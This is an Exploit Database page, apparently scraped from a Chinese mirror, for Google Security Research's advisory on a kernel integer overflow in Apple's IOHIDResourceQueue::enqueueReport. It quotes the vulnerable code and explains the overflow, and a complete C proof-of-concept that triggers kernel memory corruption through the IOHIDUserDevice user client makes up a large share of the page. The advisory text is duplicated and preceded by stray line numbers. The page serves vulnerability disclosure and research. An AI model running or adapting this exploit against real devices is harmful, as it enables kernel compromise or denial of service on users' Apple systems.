Apple iOS/macOS – Kernel Memory Corruption due to Integer Overflow in IOHIDResourceQueue::enqueueReport

Exploit Database
125 阅读

作者： Google Security Research

日期： 2018-10-22
类别：
- dos
平台：
- multiple
来源：https://www.exploit-db.com/exploits/45651/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method,

which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods.

I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866)

IOHIDResourceQueue::enqueueReport has basically the same bug:

Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report)

{

UInt32headerSize= sizeof(IOHIDResourceDataQueueHeader);

UInt32reportSize= report ? (UInt32)report->getLength() : 0;

UInt32dataSize= ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t)); <--- (a)

UInt32head;

UInt32tail;

UInt32newTail;

const UInt32entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;

IODataQueueEntry *entry;

// Force a single read of head and tail

head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED);

tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED);

if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize) <--- (b)

{

return false;

}

if ( tail >= head )

{

// Is there enough room at the end for the entry?

if ((getQueueSize() - tail) >= entrySize )

{

entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

entry->size = dataSize;

bcopy(header, &entry->data, headerSize);

if ( report )

report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize); <--- (c)

Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion

of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a)

giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c)

for the actually memory write operation.

The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one

of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these.

A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards,

so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.)

You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example

from the IOHIDFamily code, giving it the correct entitlement and running it.

// @i41nbeer

iOS/MacOS kernel memory corruption due to integer overflow in IOHIDResourceQueue::enqueueReport

IOHIDResourceQueue inherits from IOSharedDataQueue and adds its own ::enqueueReport method,

which seems to be mostly copy-pasted from IOSharedDataQueue and IODataQueue's ::enqueue methods.

I reported a bunch of integer overflows in IODataQueue over four years ago (CVE-2014-4389, apple issue 607452866)

IOHIDResourceQueue::enqueueReport has basically the same bug:

Boolean IOHIDResourceQueue::enqueueReport(IOHIDResourceDataQueueHeader * header, IOMemoryDescriptor * report)

{

UInt32headerSize= sizeof(IOHIDResourceDataQueueHeader);

UInt32reportSize= report ? (UInt32)report->getLength() : 0;

UInt32dataSize= ALIGNED_DATA_SIZE(headerSize + reportSize, sizeof(uint32_t)); <--- (a)

UInt32head;

UInt32tail;

UInt32newTail;

const UInt32entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;

IODataQueueEntry *entry;

// Force a single read of head and tail

head = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->head, __ATOMIC_RELAXED);

tail = __c11_atomic_load((_Atomic UInt32 *)&dataQueue->tail, __ATOMIC_RELAXED);

if ( tail > getQueueSize() || head > getQueueSize() || dataSize < headerSize || entrySize < dataSize) <--- (b)

{

return false;

}

if ( tail >= head )

{

// Is there enough room at the end for the entry?

if ((getQueueSize() - tail) >= entrySize )

{

entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);

entry->size = dataSize;

bcopy(header, &entry->data, headerSize);

if ( report )

report->readBytes(0, ((UInt8*)&entry->data) + headerSize, reportSize); <--- (c)

Report is the IOMemoryDescriptor which wraps the stucture input to the io_connect_call, it's wrapping a portion

of userspace so we can actually make an IOMemoryDescriptor with a length of 0xffffffff. This will overflow at (a)

giving us a small value for dataSize. This will pass the checks at (b) but then the reportSize value is used at (c)

for the actually memory write operation.

The IOHIDResource is used when userspace wants to implement an HID device; to exploit this you need there to actually be one

of these devices. If you have the com.apple.hid.manager.user-access-device entitlement you can create one of these.

A bunch of daemons do possess this entitlement, for example bluetoothd needs it to implement bluetooth HID keyboards,

so if you have a bluetooth keyboard connected you can trigger this bug without needing com.apple.hid.manager.user-access-device.)

You can test this PoC either by connecting a bluetooth HID device, or by building the IOHIDResource keyboard example

from the IOHIDFamily code, giving it the correct entitlement and running it.

Tested on MacOS 10.13.6 (17G65)

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <mach/mach.h>

#include <mach/mach_vm.h>

int main(int argc, char** argv){

printf("pid: %d\n", getpid());

kern_return_t err;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHIDUserDevice"));

if (service == IO_OBJECT_NULL){

printf("unable to find service\n");

return 0;

}

io_connect_t conn = MACH_PORT_NULL;

err = IOServiceOpen(service, mach_task_self(), 0, &conn);

if (err != KERN_SUCCESS){

printf("unable to get user client connection\n");

return 0;

}

printf("got client\n");

uint64_t inputScalar[16];

uint64_t inputScalarCnt = 0;

char inputStruct[4096];

size_t inputStructCnt = 0;

uint64_t outputScalar[16];

uint32_t outputScalarCnt = 0;

char outputStruct[4096];

size_t outputStructCnt = 0;

// open

inputScalar[0] = 0;

inputScalarCnt = 1;

err = IOConnectCallMethod(

conn,

inputScalar,

inputScalarCnt,

inputStruct,

inputStructCnt,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

if (err != KERN_SUCCESS){

printf("IOConnectCall error: %x\n", err);

return 0;

}

printf("called external method open\n");

mach_vm_address_t addr = 0x4100000000;

mach_vm_size_t size = 0x1000;

err = IOConnectMapMemory(conn, 0, mach_task_self(), &addr, &size, 0);

if (err != KERN_SUCCESS){

printf("IOConnectMapMemory failed:0x%x\n", err);

return 0;

}

printf("mapped queue memory here: %016llx\n", addr);

char* buf = malloc(0x100000000);

memset(buf, 'A', 0x100000000);

inputScalar[0] = 0x0;

inputScalar[1] = 0x0;

inputScalarCnt = 3;

outputScalarCnt = 0;

err = IOConnectCallMethod(

conn,

13, // setreport

inputScalar,

inputScalarCnt,

buf,

0xffffffff,

outputScalar,

&outputScalarCnt,

outputStruct,

&outputStructCnt);

if (err != KERN_SUCCESS){

printf("IOConnectCall error: %x\n", err);

return 0;

}

return 0;

}